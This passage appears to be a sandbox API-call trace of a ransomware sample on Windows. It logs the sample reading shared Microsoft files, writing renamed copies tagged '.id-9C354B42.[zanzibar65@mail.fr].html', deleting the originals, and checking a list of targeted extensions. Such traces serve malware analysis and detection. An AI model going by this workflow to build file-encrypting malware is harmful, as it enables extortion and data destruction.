nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.347] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.347] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0054.347] ReadFile (in: hFile=0x240, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.370] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0054.370] WriteFile (in: hFile=0x240, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0054.387] SetEndOfFile (hFile=0x240) returned 1 [0054.387] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x402cc28 [0054.391] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.391] WriteFile (in: hFile=0x240, lpBuffer=0x402cc28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x402cc28*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.605] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0xace7d, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.605] WriteFile (in: hFile=0x240, lpBuffer=0x402cc28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x402cc28*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.607] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x1c6b78, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0054.607] WriteFile (in: hFile=0x240, lpBuffer=0x402cc28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x402cc28*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.608] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x402cc28 | out: hHeap=0x220000) returned 1 [0054.611] CloseHandle (hObject=0x240) returned 1 [0054.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.611] lstrlenW (lpString=".doc") returned 4 [0054.611] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.611] lstrlenW (lpString=".docx") returned 5 [0054.612] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0054.612] lstrlenW (lpString=".pdf") returned 4 [0054.612] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.612] lstrlenW (lpString=".xls") returned 4 [0054.612] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.612] lstrlenW (lpString=".xlsx") returned 5 [0054.612] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0054.612] lstrlenW (lpString=".ppt") returned 4 [0054.612] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.612] lstrlenW (lpString=".zip") returned 4 [0054.612] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.612] lstrlenW (lpString=".rar") returned 4 [0054.612] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.612] lstrlenW (lpString=".bz2") returned 4 [0054.612] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.612] lstrlenW (lpString=".7z") returned 3 [0054.612] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.612] lstrlenW (lpString=".dbf") returned 4 [0054.612] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.612] lstrlenW (lpString=".1cd") returned 4 [0054.612] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.612] lstrlenW (lpString=".jpg") returned 4 [0054.612] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.612] lstrlenW (lpString=".doc") returned 4 [0054.612] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0054.613] lstrlenW (lpString=".docx") returned 5 [0054.613] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0054.613] lstrlenW (lpString=".pdf") returned 4 [0054.613] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0054.613] lstrlenW (lpString=".xls") returned 4 [0054.613] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0054.613] lstrlenW (lpString=".xlsx") returned 5 [0054.613] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0054.613] lstrlenW (lpString=".ppt") returned 4 [0054.613] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.613] lstrlenW (lpString=".zip") returned 4 [0054.613] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0054.613] lstrlenW (lpString=".rar") returned 4 [0054.613] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0054.613] lstrlenW (lpString=".bz2") returned 4 [0054.613] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0054.613] lstrlenW (lpString=".7z") returned 3 [0054.613] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.613] lstrlenW (lpString=".dbf") returned 4 [0054.613] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.613] lstrlenW (lpString=".1cd") returned 4 [0054.613] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0054.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0054.613] lstrlenW (lpString=".jpg") returned 4 [0054.613] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0054.613] lstrcmpiW (lpString1=".CGM", lpString2=".html") returned -1 [0054.614] lstrlenW (lpString="MS.CGM") returned 6 [0054.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0055.117] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1908) returned 1 [0055.117] CloseHandle (hObject=0x254) returned 1 [0055.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0055.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0055.117] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.117] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0055.118] GetLastError () returned 0x0 [0055.118] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x774, lpOverlapped=0x0) returned 1 [0055.119] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x780, lpOverlapped=0x0) returned 1 [0055.120] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0055.120] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe0, lpOverlapped=0x0) returned 1 [0055.120] SetEndOfFile (hFile=0x258) returned 1 [0055.121] CloseHandle (hObject=0x258) returned 1 [0055.121] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.121] SetEndOfFile (hFile=0x254) returned 1 [0055.122] CloseHandle (hObject=0x254) returned 1 [0055.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.122] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0055.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.122] lstrlenW (lpString=".doc") returned 4 [0055.122] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0055.122] lstrlenW (lpString=".docx") returned 5 [0055.122] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0055.122] lstrlenW (lpString=".pdf") returned 4 [0055.122] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0055.122] lstrlenW (lpString=".xls") returned 4 [0055.122] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0055.122] lstrlenW (lpString=".xlsx") returned 5 [0055.122] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0055.122] lstrlenW (lpString=".ppt") returned 4 [0055.122] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0055.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.122] lstrlenW (lpString=".zip") returned 4 [0055.122] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString=".rar") returned 4 [0055.123] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString=".bz2") returned 4 [0055.123] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0055.123] lstrlenW (lpString=".7z") returned 3 [0055.123] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.123] lstrlenW (lpString=".dbf") returned 4 [0055.123] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.123] lstrlenW (lpString=".1cd") returned 4 [0055.123] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.123] lstrlenW (lpString=".jpg") returned 4 [0055.123] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.123] lstrlenW (lpString=".doc") returned 4 [0055.123] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString=".docx") returned 5 [0055.123] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0055.123] lstrlenW (lpString=".pdf") returned 4 [0055.123] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString=".xls") returned 4 [0055.123] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString=".xlsx") returned 5 [0055.123] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0055.123] lstrlenW (lpString=".ppt") returned 4 [0055.123] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0055.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.124] lstrlenW (lpString=".zip") returned 4 [0055.124] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0055.124] lstrlenW (lpString=".rar") returned 4 [0055.124] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0055.124] lstrlenW (lpString=".bz2") returned 4 [0055.124] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0055.124] lstrlenW (lpString=".7z") returned 3 [0055.124] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.124] lstrlenW (lpString=".dbf") returned 4 [0055.124] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.124] lstrlenW (lpString=".1cd") returned 4 [0055.124] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0055.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0055.124] lstrlenW (lpString=".jpg") returned 4 [0055.124] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0055.124] lstrcmpiW (lpString1=".FLT", lpString2=".html") returned -1 [0055.124] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0055.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0055.125] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=280448) returned 1 [0055.125] CloseHandle (hObject=0x254) returned 1 [0055.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0055.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0055.126] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.126] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0055.126] GetLastError () returned 0x0 [0055.126] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x44780, lpOverlapped=0x0) returned 1 [0055.134] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x44790, lpOverlapped=0x0) returned 1 [0055.139] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0055.139] WriteFile (in: hFile=0x258, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.139] SetEndOfFile (hFile=0x258) returned 1 [0055.139] CloseHandle (hObject=0x258) returned 1 [0055.140] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.140] SetEndOfFile (hFile=0x254) returned 1 [0055.143] CloseHandle (hObject=0x254) returned 1 [0055.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0055.143] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0055.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.143] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.143] lstrlenW (lpString=".doc") returned 4 [0055.143] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.143] lstrlenW (lpString=".docx") returned 5 [0055.143] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.143] lstrlenW (lpString=".pdf") returned 4 [0055.143] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.143] lstrlenW (lpString=".xls") returned 4 [0055.143] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.143] lstrlenW (lpString=".xlsx") returned 5 [0055.143] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.144] lstrlenW (lpString=".ppt") returned 4 [0055.144] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.144] lstrlenW (lpString=".zip") returned 4 [0055.144] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.144] lstrlenW (lpString=".rar") returned 4 [0055.144] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.144] lstrlenW (lpString=".bz2") returned 4 [0055.144] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.144] lstrlenW (lpString=".7z") returned 3 [0055.144] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.144] lstrlenW (lpString=".dbf") returned 4 [0055.144] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.144] lstrlenW (lpString=".1cd") returned 4 [0055.144] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.144] lstrlenW (lpString=".jpg") returned 4 [0055.144] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.144] lstrlenW (lpString=".doc") returned 4 [0055.144] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0055.144] lstrlenW (lpString=".docx") returned 5 [0055.144] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0055.144] lstrlenW (lpString=".pdf") returned 4 [0055.144] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0055.144] lstrlenW (lpString=".xls") returned 4 [0055.144] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0055.144] lstrlenW (lpString=".xlsx") returned 5 [0055.144] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0055.145] lstrlenW (lpString=".ppt") returned 4 [0055.145] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.145] lstrlenW (lpString=".zip") returned 4 [0055.145] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0055.145] lstrlenW (lpString=".rar") returned 4 [0055.145] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0055.145] lstrlenW (lpString=".bz2") returned 4 [0055.145] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0055.145] lstrlenW (lpString=".7z") returned 3 [0055.145] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.145] lstrlenW (lpString=".dbf") returned 4 [0055.145] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.145] lstrlenW (lpString=".1cd") returned 4 [0055.145] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0055.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0055.145] lstrlenW (lpString=".jpg") returned 4 [0055.145] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0055.145] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0055.145] lstrlenW (lpString="hxds.dll") returned 8 [0055.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0055.146] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1257984) returned 1 [0055.146] CloseHandle (hObject=0x254) returned 1 [0055.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0055.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0055.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0055.147] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.147] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0055.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[zanzibar65@mail.fr].html"), 